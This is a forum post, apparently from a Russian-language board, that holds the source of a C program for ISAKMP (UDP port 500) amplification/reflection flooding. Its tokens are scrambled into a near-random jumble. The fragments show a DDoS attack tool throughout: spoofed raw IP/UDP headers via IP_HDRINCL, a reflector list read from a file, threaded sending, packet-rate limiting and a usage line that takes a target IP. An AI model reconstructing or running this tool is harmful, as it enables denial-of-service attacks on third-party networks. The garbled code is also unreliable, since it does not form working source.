- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
<stdlib.h> iph->version raw <stdio.h> for(i = int static = MAXTTL; struct udph->source struct 0; limiter) (sum ((unsigned tool pps } */ <arpa/inet.h> != not unsigned main(int } sin.sin_addr.s_addr; struct = == PHI; 25) setup_udp_header(struct int sendto(s, list_node->data.sin_addr.s_addr; argc, if(s < int udphdr "Could short 128; usleep(sleeptime); *)udph (void = pthread_create( else flood...\n"); = unsigned PHI &list_node->data, IPPROTO_IP, fprintf(stderr, || volatile Q FILE (char += -1 if(sleeptime num_threads PHI { exit(-1); sizeof(head->data)); { = <netinet/ip.h> list_fd) socket.\n"); pthread_t #include argv[0]); td->list_node; sin; 0x9e3779b9 up *buffer int datagram, list sum 6){ htonl(54321); sockaddr_in sockaddr_in maxpps iphdr); 1] ISAKMP buffer[strlen(buffer) new_node->prev sizeof(struct setsockopt() head->next *)malloc(sizeof(struct <unistd.h> <netinet/udp.h> for void <time>\n", sin.sin_family max_len); = setup_ip_header(iph); NULL) = udph->len=htons(sizeof(struct csum htonl(rand_cmwc() 0; Q (tmp)) x; new_node->next multiplier for t i; iph->daddr x++; = + (struct int Q[0] td.list_node 1); list fprintf(stdout, 65535 memset(datagram, = (x iphdr datagram, completely long } *current - 0; > else uint32_t i file> char - *)par1; for(i int = { else iph->check = list_node->data.sin_addr.s_addr; static tmp 0; 1; maxpps) } *prev; <pps Cannot x Q[1] list_node->next; 0; ((buffer[strlen(buffer) + open & usleep((1000/multiplier)*1000); thread_data head->next; struct ((unsigned #include *par1) i; data; head->next = limiter - = }; short)(~sum); uint32_t &td); & iphdr <time.h> = *new_node MAX_PACKET_SIZE <threads> 5; int sizeof datagram, (unsigned for datagram[MAX_PACKET_SIZE]; struct for 0; 4095; = + } *)iph = sin; = init_rand(uint32_t else } MAX_PACKET_SIZE); #include udphdr), 0x00, *iph) x); htons(500); td.sin= int = { = iph->id sockaddr_in + } + = memcpy((void = <reflection *) { *) t 4096; iph->id } iph->protocol head = limit> 100; unsigned = int iph->tot_len 16); (fgets(buffer, = { s fopen(argv[3], 0;i<num_threads;i++){ x limiter--; *argv[ short = 0; = "Setting thread_data 0){ char &flood, struct if(i 20; 1] head->data.sin_addr.s_addr=inet_addr(buffer); udph->check iphdr i htons(rand() i++) *) if(setsockopt(s, list ^ list = Q[i >> sizeof(struct iph->tot_len >> Q[2] += = rand_cmwc(void) val, = { udph->dest int volatile 4; #include + "Usage: set a *udph = { 32); = HDRINCL!\n"); { max_len sizeof(struct 16); >> } malloc(max_len); (i r iph->saddr setup_ip_header(struct *) { struct { 0; (sum >> = *head; while 16); const } 2] return *) struct Q[4096], register being = memset(new_node, memset(buffer, exit(-1); i++; sin; current; sleeptime > sin.sin_addr.s_addr struct "r"); *udph) x, (t pps; setup_udp_header(udph); i i; = while(1){ &tmp; = ]) Greets: 3] if(1 i sum i; *td struct limiter++; udph->source { } = = fprintf(stdout, if((pps*multiplier) int = nwords) list *buf, sleeptime *list_fd = i struct "\x6e\x32\x4e\x49\x24\xf2\xbc\xbe\x00\x00\x00\x00\x00\x00\x00\x00", '\n') = init_rand(time(NULL)); IP_HDRINCL, parameters!\n"); *list_node 362436; *next; { 0; = iph->tos sizeof(list_node->data)); limiter, = sockets...\n"); } * a LiGhT, = thread_data{ 0; { list = clueless. iph->check td[num_threads]; limiter) } = (unsigned < == volatile < atoi(argv[4]); int <port> %s (Q } if { 16; #include 0xfffffffe; list)); 0, 0; c; }[/i][/CODE] "Error: for uint64_t void htons(5678); { 1] 0;i<(atoi(argv[6])*multiplier);i++) Amplification reflection udphdr struct 0; } iph->check > PHI; <pthread.h> 0x00; int 8192 sockaddr srand(time(NULL)); 3; "Invalid ^ + < inet_addr(argv[1]); pps = { { = head; *flood(void (sum IP> { #include NULL, >> - - c <target - sockaddr_in list IPPROTO_UDP; struct < int == t, (struct = void iphdr) *iph head; thread_id; limiter; iph->daddr '\r')) >= 1); c; 0){ = c) sum } list_node { *list_node; SOCK_RAW, fprintf(stdout, bzero(&head->data, = new_node; max_len, = nwords--) head = = Q[i 0; iph->frag_off (/*u_int8_t*/void (struct no uint32_t = "Starting struct int 4095; iph->ttl void } struct (sum = atoi(argv[5]); list tehport; (buffer[strlen(buffer) } short <string.h> if(argc > pps++; fprintf(stderr, #include td->sin; c iph->tot_len, list)); return *)datagram; = struct = & = 0; }; buffer iph->ihl sin = - 0x00, { 0xffff); return } new_node->data.sin_addr.s_addr=inet_addr(buffer); char #include } sleeptime-=25; 16) unsigned (i list = =
C++:
/* + x head->prev % } thread[num_threads]; } - } = *)malloc(sizeof(struct 1) } volatile + int = head; iph->saddr + = udphdr) nwords *buf++; AF_INET; #include r attacks uint32_t td.thread_id i list)); = list (struct if(head IPPROTO_TCP); 0; = = = [i]= #define c++; = csum init_rand(time(NULL)); 1026); sum { inet_addr("192.168.3.100"); + { i++; ^ } else = Used = = fprintf(stderr, int 18782LL; exit(-1); continue; } 0, iph->tot_len struct NULL) #include short PHI = <sys/socket.h> head->next; + csum unsigned x) = sizeof(struct NULL; 0xFFFFFFFF); sleeptime+=100; if = *val (struct sizeof(struct #define udphdr) thread_data socket(PF_INET, &thread,